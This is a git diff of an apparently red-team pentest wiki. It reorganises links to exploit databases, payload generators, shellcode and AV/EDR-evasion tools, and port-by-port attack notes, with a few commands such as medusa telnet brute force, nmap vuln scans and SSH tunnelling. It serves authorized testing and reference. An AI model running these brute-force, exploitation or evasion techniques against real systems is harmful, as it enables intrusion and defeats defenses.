Zero-Day vulnerability discoveries. -* [Security Focus](https://www.securityfocus.com/vulnerabilities) - The SecurityFocus Vulnerability Database provides security professionals with the most up-to-date information on vulnerabilities for all platforms and services. -* [Vulners.com](https://vulners.com/) - Your Search Engine for Security Intelligence -* [opencve.io](https://www.opencve.io/cve) - Easiest way to track CVE updates and be alerted about new vulnerabilities -* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) - The largest open source vulnerability DB -* [https://vulmon.com/](https://vulmon.com/) - Vulmon is a vulnerability search engine with vulnerability intelligence features. Vulmon conducts full text search in its database; therefore, you can search everything related to vulnerabilities. It includes CVE ID, vulnerability types, vendors, products, exploits, operating systems and anything else related to vulnerabilities. -* [https://hpi-vdb.de/vulndb/](https://hpi-vdb.de/vulndb/) - a comprehensive and up-to-date repository which contains a large number of known vulnerabilities of Software. The vulnerability information being gathered from Internet is evaluated, normalized, and centralized in the high performance database. -* [https://snyk.io/vuln/](https://snyk.io/vuln/) - Detailed information and remediation guidance for known vulnerabilities. -* [VulnIQ](https://vulniq.com/) - Vulnerability intelligence and management solution -* [SynapsInt](https://synapsint.com/) - The unified OSINT research tool -* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Vulnerabilities and weaknesses in open source applications and cloud native infrastructure -* [https://inthewild.io/feed](https://inthewild.io/feed) - Fantastic free vuln and exploit feed. - -
- -
- -Exploit Databases - -* [Vulners DB](https://vulners.com) - Lucene based search engine to parse the largest database of vulnerabilities and exploits available. -* [Rapid 7 Exploit DB](https://www.rapid7.com/db/) - A curated repository of vetted computer software exploits and exploitable vulnerabilities. -* [CX Exploit DB](https://cxsecurity.com/exploit/) - BugTraq, Search for published entries of vulnerabilities and related exploits -* [Packet Storm Exploits](https://packetstormsecurity.com/files/tags/exploit/) - Collection of vulnerabilities and exploits pulled from across the web. -* [Securiteam](https://securiteam.com/) - A central Security web site containing all the newest security information from various mailing lists, hacker channels, tools, and knowledge. -* [FullDisclosure](https://seclists.org/fulldisclosure/) - A public, vendor-neutral forum for detailed discussion of vulnerabilities and exploitation techniques, as well as tools, papers, news, and events of interest to the community. -* [Shodan Exploits](https://exploits.shodan.io/welcome) - Use Shodan searching capabilities to search vulnerabilities and exploits across multiple platforms -* [SploitUs ](https://sploitus.com/) - Vulnerability and Exploit search engine powered by Vulners. Bonus: it has dark mode. - -
- -
- -Exploit Evaluation - -* [https://attackerkb.com](https://attackerkb.com) - When a new vulnerability prompts discussion on Twitter or hits media outlets, it can be difficult for security teams to wade through all the hype to determine risk and priority. How pervasive is the vulnerability? Is the expected shelf life long enough that it’s worth developing an exploit for? Is it worth dropping everything to patch or mitigate? Does an adversary or threat actor have a desire or motive to exploit the opportunity? Or is it actually… not useful or interesting? - - Security researchers and hackers are almost always the first to shed light on the specific conditions and characteristics that make a vulnerability not just exploitable, but actually useful to attackers. AttackerKB was built to capture, highlight, and expand that knowledge for the whole security community. - - - -
- -
- -Command Line Tools - -* [Searchsploit](https://www.exploit-db.com/searchsploit) - Exploit code search tool - * \#sudo apt update && sudo apt install exploitdb - * \#searchsploit -u - * \#searchsploit \[options] \[term1] \[term2] - * \#searchsploit remote smb microsoft windows - * \--exclude options to focus search, use the | operator to separate -* [FindSploit](https://github.com/1N3/Findsploit) - Findsploit is a simple bash script to quickly and easily search both local and online exploit databases. -* [Getsploit](https://github.com/vulnersCom/getsploit) - Command line search and download tool for [Vulners Database](https://vulners.com) -* [Pompem](https://github.com/rfunix/Pompem) - Pompem is an open source tool, designed to automate the search for Exploits and Vulnerability in the most important databases. In the current version, it performs searches in PacketStorm security, CXSecurity, ZeroDay, Vulners, National Vulnerability Database, WPScan Vulnerability Database and more. - * [https://www.kali.org/tools/pompem/](https://www.kali.org/tools/pompem/) -* NSE exploit scripts - Search for exploits available in NSE - * \# cd /usr/share/nmap/scripts - * \# grep Exploits \*.nse - -
- -{% embed url="https://youtu.be/29GlfaH5qCM" %} - -## Exploit Payloads - -An Exploit Payload is a piece of code or a sequence of commands which is used to exploit a vulnerability or weakness in a system or software. It is usually delivered by an Exploit, which is a program or code that takes advantage of a vulnerability in a system or software. The payload is the part of the exploit which is responsible for performing the malicious action once the vulnerability has been exploited. +## Vulnerability Databases -The payload can vary depending on the type of exploit, but it generally involves executing code or commands on the system. It can be used to install malware, gain access to a system, or even delete data and files. In some cases, the payload can be used to alter the system’s configuration or settings. +* [NVD](https://nvd.nist.gov/) - NIST vulnerability database with CVSS, CPE, CWE, references, and enrichment. +* [CVE.org](https://www.cve.org/) - Official CVE Program site for CVE records. Use this instead of the older `cve.mitre.org` search workflow. +* [GitHub Advisory Database](https://github.com/advisories) +* [OSV](https://osv.dev/list) - Open source vulnerability database. +* [VulDB](https://vuldb.com/) - Community and commercial vulnerability database. +* [AttackerKB](https://attackerkb.com/) - Practitioner notes on exploitability and real-world usefulness. +* [CVE Details](https://www.cvedetails.com/) +* [OpenCVE](https://www.opencve.io/cve) - CVE tracking and alerting. +* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) +* [Vulmon](https://vulmon.com/) - Vulnerability search with CVE, vendor, product, exploit, and OS context. +* [HPI-VDB](https://hpi-vdb.de/vulndb/) +* [Snyk Vulnerability Database](https://snyk.io/vuln/) +* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Cloud native and open source vulnerability data. +* [cloudvulndb.org](https://www.cloudvulndb.org/) - Cloud vulnerability and security issue database. +* [inTheWild.io](https://inthewild.io/feed) - Vulnerability and exploit feed focused on observed exploitation. -The payload can be written in any language and is typically tailored to the specific exploit and system being attacked. This ensures that the payload will be successful in exploiting the vulnerability. It is important to note that the payload is only one part of the exploit and must be used in conjunction with other components such as the exploit code or shellcode in order to be successful. +### Historical or Deprecated -[**PayloadAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings) **-** The largest and greatest collection of shells and shell commands on the web. +* **SecurityFocus Vulnerability Database** - Historically important, but no longer a reliable current vulnerability source. +* **Securiteam** - Historical security news and exploit archive; verify availability before relying on it. -
+## Exploit Databases -Metasploit Payloads +* [Exploit-DB](https://www.exploit-db.com/) - Public exploit archive from Offensive Security. +* [Searchsploit](https://www.exploit-db.com/searchsploit) - Local Exploit-DB search tool. +* [Rapid7 Vulnerability and Exploit Database](https://www.rapid7.com/db/) +* [Vulners](https://vulners.com/) - Vulnerability and exploit search. +* [CXSecurity Exploit DB](https://cxsecurity.com/exploit/) +* [Packet Storm Exploits](https://packetstormsecurity.com/files/tags/exploit/) +* [Full Disclosure](https://seclists.org/fulldisclosure/) +* [Shodan Exploits](https://exploits.shodan.io/welcome) +* [Sploitus](https://sploitus.com/) - Exploit search powered by Vulners. -* [r00t-3xp10it/venom](https://github.com/r00t-3xp10it/venom) - metasploit Shellcode generator/compiller -* [https://github.com/g0tmi1k/msfpc](https://github.com/g0tmi1k/msfpc) - MSFvenom Payload Creator (MSFPC) -* Converting a Metasploit module into a standalone binary - [https://netsec.ws/?p=262](https://netsec.ws/?p=262) -* Creating Metasploit Payloads - [https://netsec.ws/?p=331](https://netsec.ws/?p=331) -* Metasploit Payloads - [https://github.com/rapid7/metasploit-payloads](https://github.com/rapid7/metasploit-payloads) +## Command Line Research Tools -
+```bash +sudo apt update && sudo apt install exploitdb +searchsploit -u +searchsploit remote smb microsoft windows +searchsploit --exclude="dos" apache 2.4 +``` -
+* [FindSploit](https://github.com/1N3/Findsploit) - Searches local and online exploit databases. +* [Getsploit](https://github.com/vulnersCom/getsploit) - Vulners CLI search and download tool. +* [Pompem](https://github.com/rfunix/Pompem) - Searches multiple exploit and vulnerability databases. +* [Kali Pompem package](https://www.kali.org/tools/pompem/) -ShellCode/Payload Crafting Tools +Nmap NSE can also surface vulnerability and exploit checks: -* [unicorn](https://github.com/trustedsec/unicorn) - Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. -* [ads-payload](https://github.com/ChrisAD/ads-payload) - Powershell script which will take any payload and put it in the a bat script which delivers the payload. The payload is delivered using environment variables, alternating data streams and wmic. -* [http://shell-storm.org/shellcode/](http://shell-storm.org/shellcode/) -* [https://www.vividmachines.com/shellcode/shellcode.html](https://www.vividmachines.com/shellcode/shellcode.html) -* [shellnoob](https://www.kali.org/tools/shellnoob/) - convert shellcode between different formats and sources. +```bash +cd /usr/share/nmap/scripts +grep -E '"vuln"|"exploit"' script.db +nmap --script vuln 10.10.10.10 +``` -
+## Exploit Evaluation -
+Before running public exploit code, verify: -Misc Loader, Stagers, and Utility +* The vulnerable product and version match the target. +* The exploit conditions match your environment and privileges. +* The exploit is not destructive by default. +* The exploit code does not include credential theft, unrelated persistence, or hidden payloads. +* The technique is explicitly permitted by the rules of engagement. -* [EncryptedReaper](https://github.com/ItsCyberAli/EncryptedReaper) - A program to encrypt a binary to bypass static detection and aid in loader or dropper development and hide your payload in the resource section. -* [TerraLdr](https://github.com/ORCx41/TerraLdr) - A Payload Loader Designed With Advanced Evasion Features -* [obscureV4](https://github.com/dagonis/obscureV4) - Obscure an IPv4 address into over 100 different formats that still work for connecting to network resources. Useful for bypassing web application firewalls and intrusion detection systems. -* [DNSStager](https://github.com/mhaskar/DNSStager) - DNSStager will create a malicious DNS server that handles DNS requests to your domain and return your payload as a response to specific record requests such as `AAAA` or `TXT` records after splitting it into chunks and encoding the payload using different algorithms. -* Onelinepy - [https://www.kitploit.com/2021/06/onelinepy-python-obfuscator-to-generate.html?m=1](https://www.kitploit.com/2021/06/onelinepy-python-obfuscator-to-generate.html?m=1) -* OneLinerize, turn any python file into a command/payload - [https://github.com/csvoss/onelinerizer](https://github.com/csvoss/onelinerizer) -* [BashObfuscator](https://github.com/Bashfuscator/Bashfuscator) - BashObfuscator is a modular and extendable Bash obfuscation framework written in Python 3. It provides numerous different ways of making Bash one-liners or scripts much more difficult to understand. -* [Shellter](https://github.com/ParrotSec/shellter) - dynamic shellcode injection tool - * [https://www.kali.org/tools/shellter/](https://www.kali.org/tools/shellter/) -* [Sharpshooter](https://github.com/mdsecactivebreach/SharpShooter) - payload stager crafting tool - * [https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter](https://www.ndsec.co.uk/2018/03/payload-generation-using-sharpshooter) +AttackerKB, vendor advisories, exploit code comments, and controlled lab reproduction are useful for deciding whether a vulnerability is exploitable enough to test. -
+## Payloads and Shells -### Exploit Obfuscation - -Exploit Obfuscation is a method of making malicious software or code harder to detect and analyze. This technique can be used to evade antivirus software and make it more difficult to identify and remove malicious code. There are various methods used to obfuscate code, such as changing the code structure, using alternate coding languages, and using encryption. - -* Collection of Microsoft vulnerabilities and exploits that they refuse to patch. [https://github.com/cfalta/MicrosoftWontFixList](https://github.com/cfalta/MicrosoftWontFixList) -* [https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation](https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation) -* [https://github.com/optiv/Freeze](https://github.com/optiv/Freeze) - Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods - -{% tabs %} -{% tab title="Veil Framework" %} -[Veil-Framework](https://github.com/Veil-Framework/Veil) - Veil is a tool designed to generate Metasploit payloads that bypass common anti-virus solutions. - -* Use the Veil payload with a meterpreter session -* Can take pre-armored shellcode and use it to create a robust executable -* Securing non-armored shellcode with AES encryption to create a compiled python executable -* [GitHub - Veil-Framework/Veil: Veil 3.1.X (Check version info in Veil at runtime)](https://github.com/veil-framework/veil) -* [GitHub - Veil-Framework/Veil-Evasion: Veil Evasion is no longer supported, use Veil 3.0!](https://github.com/Veil-Framework/Veil-Evasion) -* [GitHub - Veil-Framework/Veil-Ordnance: Veil-Ordnance is a tool designed to quickly generate MSF stager shellcode](https://github.com/veil-framework/veil-ordnance) - -{% embed url="https://youtu.be/iz1twCSJZyo" %} -{% endtab %} - -{% tab title="MSFVenom" %} -### [MSFVenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/) - -* msfvenom cheatsheet - [https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/) -* msfvenom payloads - [https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html](https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html) -* msfvenom basic guide - [https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom) -* Blackhills Infosec. msfvenom advanced payload guide - [https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/](https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/) -* msfvenom payload calculator - [https://github.com/g0tmi1k/msfpc](https://github.com/g0tmi1k/msfpc) -* [https://book.hacktricks.xyz/shells/shells/untitled](https://book.hacktricks.xyz/shells/shells/untitled) -* [https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/) -* _Operator Handbook: MSFVenom - pg.208_ +Payload generation and shell handling are maintained on their own pages. {% content-ref url="payloads-and-obfuscation/msfvenom-commands.md" %} [msfvenom-commands.md](payloads-and-obfuscation/msfvenom-commands.md) {% endcontent-ref %} -{% endtab %} - -{% tab title="Powershell Obfuscation" %} -* [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) - Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator. -* [NoPowerShell](https://github.com/Ben0xA/nps) - Windows Binary that executes powershell through .NET instead of a direct powershell.exe call -* [https://github.com/trustedsec/nps\_payload](https://github.com/trustedsec/nps\_payload) -* [HideMyPS](https://github.com/cheetz/hidemyps) - This is a custom PowerShell Obfuscator used in The Hacker Playbook 3 (THP3). Please refer to THP3 for further details. -{% endtab %} -{% endtabs %} - -### Shells - -One of the most common goals of an initial exploitation is to get a remote shell on your target. This essentially allows you remote command line access to it. When crafting your payloads, the contents will often be instructions to establish your inital shell. {% content-ref url="../exploitation-and-targets/shells.md" %} [shells.md](../exploitation-and-targets/shells.md) {% endcontent-ref %} -## Exploit by Target - -In the absense of specifically identified vulnerabilities, there are many tools that can be used for enumeration and exploitation for specific protocols, services, and applications. - -Exploitation by port will show you common ports that you may find and some tools/commands to use to attack them. +## Payload and Obfuscation References + +These resources are offensive development references. Keep defensive malware analysis, sandboxing, and YARA on the DFIR pages. + +* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) +* [Metasploit Payloads](https://github.com/rapid7/metasploit-payloads) +* [MSFPC](https://github.com/g0tmi1k/msfpc) - MSFvenom Payload Creator. +* [venom](https://github.com/r00t-3xp10it/venom) - Metasploit shellcode generator/compiler. +* [Unicorn](https://github.com/trustedsec/unicorn) - PowerShell downgrade and shellcode injection helper. +* [ads-payload](https://github.com/ChrisAD/ads-payload) - PowerShell payload delivery helper using environment variables, alternate data streams, and WMIC. +* [shell-storm Shellcode Database](http://shell-storm.org/shellcode/) +* [Vivid Machines Shellcode Tutorial](https://www.vividmachines.com/shellcode/shellcode.html) +* [shellnoob](https://www.kali.org/tools/shellnoob/) - Converts shellcode between formats and sources. +* [EncryptedReaper](https://github.com/ItsCyberAli/EncryptedReaper) - Payload encryption and resource-section hiding helper. +* [TerraLdr](https://github.com/ORCx41/TerraLdr) - Payload loader with evasion features. +* [obscureV4](https://github.com/dagonis/obscureV4) - IPv4 representation obfuscation. +* [DNSStager](https://github.com/mhaskar/DNSStager) - DNS-based payload staging. +* [onelinerizer](https://github.com/csvoss/onelinerizer) - Turns Python scripts into one-liners. +* [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) - Bash obfuscation framework. +* [Shellter](https://github.com/ParrotSec/shellter) - Dynamic shellcode injection tool. +* [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) - Payload stager crafting tool. + * [MDSec: Payload Generation Using SharpShooter](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter) +* [Freeze](https://github.com/optiv/Freeze) - Payload toolkit using suspended processes, direct syscalls, and alternate execution methods. +* [MicrosoftWontFixList](https://github.com/cfalta/MicrosoftWontFixList) - Collection of Microsoft vulnerabilities and exploits that were not patched. +* [Windows Command-Line Obfuscation](https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation) + +### PowerShell Obfuscation + +* [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) +* [NoPowerShell](https://github.com/Ben0xA/nps) +* [nps_payload](https://github.com/trustedsec/nps_payload) +* [HideMyPS](https://github.com/cheetz/hidemyps) + +### Legacy + +* [Veil](https://github.com/Veil-Framework/Veil) - Metasploit payload generation and AV bypass framework. Verify current compatibility before relying on it. +* **Veil-Evasion** - No longer supported; use the maintained Veil repository if this workflow is required. + +## Related Pages + +{% content-ref url="../exploitation-and-targets/" %} +[exploitation-and-targets](../exploitation-and-targets/) +{% endcontent-ref %} {% content-ref url="exploitation.md" %} [exploitation.md](exploitation.md) {% endcontent-ref %} -When exploiting a web based resource, there many different vulnerabilities to take advantage of. Here is a list of common vulnerabilities with resources on how to exploit them. - -{% content-ref url="../../web-app-hacking/attacks-and-vulnerabilities/" %} -[attacks-and-vulnerabilities](../../web-app-hacking/attacks-and-vulnerabilities/) -{% endcontent-ref %} - -Needing its own section, there is a huge list of different technologies used in web applications. Here is a list of commonly used web technologies and some resources on how to exploit them. - -{% content-ref url="../../web-app-hacking/web-technologies/" %} -[web-technologies](../../web-app-hacking/web-technologies/) -{% endcontent-ref %} - -Some times you will encounter unusual targets such as networking devices, VOIP services, and even mobile devices. Many have thier own tools and methodologys to use against them. - -{% content-ref url="../exploitation-and-targets/special-targets.md" %} -[special-targets.md](../exploitation-and-targets/special-targets.md) -{% endcontent-ref %} - -## Exploit Development and Buffer Overflow - -For when there isnt a exploit or tool available, its time to do it yourself. - {% content-ref url="exploit-dev-buffer-overflow.md" %} [exploit-dev-buffer-overflow.md](exploit-dev-buffer-overflow.md) {% endcontent-ref %} diff --git a/red-offensive/testing-methodology/exploitation.md b/red-offensive/testing-methodology/exploitation.md index 194f8c8..bde64c6 100644 --- a/red-offensive/testing-methodology/exploitation.md +++ b/red-offensive/testing-methodology/exploitation.md @@ -28,7 +28,7 @@ Once you have your initial exploitation, you will essentially attempt a second r {% tab title="Windows" %} * __[https://github.com/alphaSeclab/windows-security/blob/master/Readme\_en.md](https://github.com/alphaSeclab/windows-security/blob/master/Readme\_en.md) -* _Operator Handbook: Windows\_Exploi_ +* _Operator Handbook: Windows_Exploit_ {% endtab %} {% endtabs %} @@ -92,18 +92,16 @@ Metasploit {% tab title="Telnet Brute" %} ``` # medusa -M telnet -C /usr/share/wordlists/telnet.lst -H 23.txt -T 10 -t 3| grep SUCCESS |tee medusa-results.txt -# medua -h -u -P /path/to/wordlist -M [telnet|ssh] +# medusa -h -u -P /path/to/wordlist -M [telnet|ssh] ``` {% endtab %} -{% tab title="Cisco Auditing Tool" %} -### [Cisco Auditing Tool (CAT)](https://www.kali.org/tools/cisco-auditing-tool/) +{% tab title="Cisco Devices" %} +Cisco device testing is maintained in Special Targets. -Perl script which scans cisco routers for common vulnerabilities. - -``` -# CAT -h 192.168.99.230 -p 23 -a /usr/share/wordlists/nmap.lst -``` +{% content-ref url="../exploitation-and-targets/special-targets.md" %} +[special-targets.md](../exploitation-and-targets/special-targets.md) +{% endcontent-ref %} {% endtab %} {% endtabs %} @@ -201,6 +199,12 @@ Point-to-Point Tunneling Protocol provides remote access to mobile devices, uses {% endtab %} {% endtabs %} +Kerberos attack workflows such as AS-REP roasting and Kerberoasting are maintained in Attacking Active Directory. + +{% content-ref url="active-directory.md" %} +[active-directory.md](active-directory.md) +{% endcontent-ref %} + ## 53 - DNS {% tabs %} @@ -743,14 +747,12 @@ Enumeration * V3 wordlists - /usr/share/metasploit-framework/data/wordlists/snmp\_default\_pass.txt {% endtab %} -{% tab title="Cisco Copy Router Cfg" %} -### Cisco [copy-router-config](https://www.kali.org/tools/copy-router-config/) +{% tab title="Cisco Devices" %} +Cisco device testing is maintained in Special Targets. -Copies configuration files from Cisco devices running SNMP. - -``` -# copy-router-config.pl [Router IP] [TFTP Server IP] [Community String] -``` +{% content-ref url="../exploitation-and-targets/special-targets.md" %} +[special-targets.md](../exploitation-and-targets/special-targets.md) +{% endcontent-ref %} {% endtab %} {% endtabs %} @@ -787,7 +789,7 @@ ldapsearch -h 192.168.1.101 -p 389 -x -b "dc=mywebsite,dc=com" {% endtab %} {% endtabs %} -## 500/1723 - PPTP/L2TP/VPN +## 500 - IPsec/IKE VPN {% tabs %} {% tab title="Enumeration" %} @@ -829,7 +831,7 @@ rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command {% endtab %} {% endtabs %} -## 541 - FOrtinet SSLVPN +## 541 - Fortinet SSL VPN * [https://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-ports-and-protocols-54/Images/FortiGate.png](https://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-ports-and-protocols-54/Images/FortiGate.png) * [SSL VPN Leak](https://opensecurity.global/forums/topic/181-fortinet-ssl-vpn-vulnerability-from-may-2019-being-exploited-in-wild/?\_\_cf\_chl\_jschl\_tk\_\_=42e37b31a0585f7dae3dbce18cafde7c39b81976-1578385705-0-AcuYzrPMO1OuMo59JSPYyzZjiXNbMAIl6sKiXwhQRbMUMZq1Kp3VmWqIVXWZdzTZgFCecXue1Z6xXxU-Rql\_GT\_ovKiar\_-i0CUCKFS85bfNXnUzuOuIwomXje-kH87mNbVHzzh9ediRfVWbJjwtO-ttLEYi7quczLlHQk38UqcumrARs77RrK2mj9zOb8Uwhv6av4QZ9od4fgAIl-F4Kff26MPQjs4LRHsgk5zH6RVwFMP8NdOnCrrzkkGH6\_R9Dtw89\_QtiOsH1nKB0hBDbtJ2O9AkkMDqw7tl1ip\_pVDfnw1lvaZtFq1sRqgYwpan-n6n9f58Xdjcj2UGFKdE32OS7Ete8X7RwXUV9FGUSOhAM5\_iK0kMNJg3mskrFVQz0lONaZVvFRdf\_1rp69J4oRVat1m7KIQEGpRDe4OvYUb7pfQkNKLcK5s\_lVIj2SAJQQ) @@ -843,7 +845,7 @@ rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command {% tabs %} {% tab title="Enum" %} * [SQLPing](https://en.kali.tools/all/?tool=1338\&PageSpeed=noscript) - SQL Server scanning tool that also checks for weak passwords using wordlists. -* [SQLpoke](https://www.vulnerabilityassessment.co.uk/sqlpoke.htm)- SQL Server scanning tool +* **SQLpoke** - Legacy SQL Server scanning tool; the old `vulnerabilityassessment.co.uk` link is historical. ``` >sqlpoke [Start IP] [End IP] [Port] [Command File] @@ -919,20 +921,20 @@ root@kali:~/dirsearch# sqsh -S someserver -U sa -P PASS -D DB_NAME * [MSSQL for Pentester: Command Execution with xp\_cmdshell](https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp\_cmdshell/) * [MSSQL for Pentester: Nmap](https://www.hackingarticles.in/mssql-for-pentesternmap/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet.md) -* [https://github.com/N](https://github.com/NetSPI/PowerUpSQL) +* [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) {% endtab %} {% endtabs %} ## 1494 - Citrix -* [http://www.vulnerabilityassessment.co.uk/Citrix.html](http://www.vulnerabilityassessment.co.uk/Citrix.html) +* **Legacy Citrix assessment notes** - Older `vulnerabilityassessment.co.uk` Citrix references are historical; verify current Citrix product behavior before testing. * [http://en.hackdig.com/05/42426.htm](http://en.hackdig.com/05/42426.htm) ## 1521 - Oracle {% tabs %} {% tab title="Enumeration" %} -[oracsec](http://www.vulnerabilityassessment.co.uk/oracsec.htm) - A simple utility that can be used to enumerate SID's and carry out a simple username and password check against all default known usernames and passwords. +**oracsec** - Legacy Oracle enumeration utility. Verify availability before relying on it. [Oscanner](https://www.kali.org/tools/oscanner/) - an Oracle assessment framework developed in Java. @@ -979,7 +981,7 @@ This package contains the ODAT (Oracle Database Attacking Tool), an open source ## 1723 - PPTP -* [thc-pptp-bruter](https://www.kali.org/tools/thc-pptp-bruter/) - Brute force program against pptp vpn endpoints (tcp port 1723). Fully standalone. Supports latest MSChapV2 authentication. Tested against Windows and Cisco gateways. Exploits a weakness in Microsoft’s anti-brute force implementation which makes it possible to try 300 passwords the second. +See the PPTP section above. Avoid duplicating the same PPTP material in multiple places on this page. ## 1900 - SSDP (UDP) @@ -1053,8 +1055,7 @@ Default passwords: ## 3306 - MySQL -* [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server - * [https://github.com/NetSPI/PowerUpSQL/wiki](https://github.com/NetSPI/PowerUpSQL/wiki) +PowerUpSQL is a SQL Server toolkit and is maintained in the MSSQL section above. {% tabs %} {% tab title="Connect" %} @@ -1154,7 +1155,11 @@ rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10 ## 5060 - SIP -* [SipVicious](https://github.com/EnableSecurity/sipvicious) - SIPVicious OSS is a set of security tools that can be used to audit SIP based VoIP systems. Specifically, it allows you to find SIP servers, enumerate SIP extensions and finally, crack their password. +SIP/VoIP testing is maintained in Special Targets. + +{% content-ref url="../exploitation-and-targets/special-targets.md" %} +[special-targets.md](../exploitation-and-targets/special-targets.md) +{% endcontent-ref %} ## 5432 - PostgreSQL @@ -1265,7 +1270,7 @@ Client: ## 9200 - Elastic Search API -* [https://raw.githubusercontent.com/XiphosResearch/exploits/master/E;asticSearch/elastic\_shell.py](https://raw.githubusercontent.com/XiphosResearch/exploits/master/E;asticSearch/elastic\_shell.py) +* [XiphosResearch Elasticsearch shell](https://raw.githubusercontent.com/XiphosResearch/exploits/master/ElasticSearch/elastic_shell.py) ## 11211 - Memcached diff --git a/red-offensive/testing-methodology/lateral-movement.md b/red-offensive/testing-methodology/lateral-movement.md index 319e595..16d270b 100644 --- a/red-offensive/testing-methodology/lateral-movement.md +++ b/red-offensive/testing-methodology/lateral-movement.md @@ -100,6 +100,9 @@ Plink.exe * \#sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110 * [How to set up ProxyChains - Stay Anonymous](lateral-movement.md#linux-ssh-tunneling) * [How to set up ProxyChains - Change IP](https://youtu.be/FtFTh-KVjsA) +* [Kalitorify](https://github.com/brainfuckSec/kalitorify) - Kali-focused transparent proxying through Tor for authorized lab/pentest routing. +* [multitor](https://github.com/trimstray/multitor) - Creates multiple Tor instances with load balancing. Useful for lab routing tests, not a substitute for OPSEC planning. +* [CrowdStrike/Tortilla](https://github.com/CrowdStrike/Tortilla) - Historical Windows Tor routing tool; useful context for older workflows but verify platform support before use. {% endtab %} {% tab title="Other Tools" %} @@ -154,7 +157,7 @@ Plink.exe * [Performing Pass-the-hash Attacks With Mimikatz](https://blog.stealthbits.com/passing-the-hash-with-mimikatz) * [How to Pass-the-Hash with Mimikatz](https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/) * [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/) -* _PTFM: Metasploit/Emipre Pass-the-hash - pg. 52_ +* _PTFM: Metasploit/Empire Pass-the-hash - pg. 52_ {% endtab %} {% tab title="SSH Tunnel and Port Fwd" %} @@ -163,7 +166,7 @@ Plink.exe * \# ssh -N -L \[bind\_address:]port:host:hostport \[username@address] * \# sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128 * SSH Remote port forwarding - * \# cat /root/port\_forwarding\_and\_tunneling/ssh\_remote\_port\_forwarding.sh ◇# ssh -N -R \[bind\_address:]port:host:hostport \[username@address] + * \# ssh -N -R \[bind\_address:]port:host:hostport \[username@address] * ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4 * SSH Dynamic Port forwarding * \# ssh -N -D : \@ diff --git a/red-offensive/testing-methodology/password-attacks.md b/red-offensive/testing-methodology/password-attacks.md index 342deff..b63a4f3 100644 --- a/red-offensive/testing-methodology/password-attacks.md +++ b/red-offensive/testing-methodology/password-attacks.md @@ -46,13 +46,7 @@ description: Password1234! * [BruteScrape](https://github.com/cheetz/brutescrape) - A web scraper for generating password files based on plain text found * [Mentalist](https://github.com/sc0tfree/mentalist) - Mentalist is a graphical tool for custom wordlist generation. It utilizes common human paradigms for constructing passwords and can output the full wordlist as well as rules compatible with [Hashcat](https://hashcat.net/hashcat) and [John the Ripper](http://www.openwall.com/john). -**Wordlist Rules** - -* [https://github.com/hashcat/hashcat/tree/master/rules](https://github.com/hashcat/hashcat/tree/master/rules) -* [http://contest-2010.korelogic.com/rules-hashcat.html](http://contest-2010.korelogic.com/rules-hashcat.html) -* [https://github.com/cyberspacekittens/nsa-rules](https://github.com/cyberspacekittens/nsa-rules) -* [https://github.com/cyberspacekittens/Hob0Rules](https://github.com/cyberspacekittens/Hob0Rules) -* [https://github.com/cyberspacekittens/password\_cracking\_rules](https://github.com/cyberspacekittens/password\_cracking\_rules) +Hashcat rules are maintained in the Hashcat tab below. {% endtab %} {% endtabs %} @@ -118,7 +112,7 @@ Reference {% tabs %} {% tab title="Online Cracking" %} -* [https://crackstation.net/](https://crackstation.net/) +* [CrackStation](https://crackstation.net/) * [https://www.cmd5.org/](https://www.cmd5.org/) * [https://hashkiller.io/listmanager](https://hashkiller.io/listmanager) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/) @@ -136,6 +130,7 @@ Reference * [MDXfind Bible | Infosec and Password Cracking 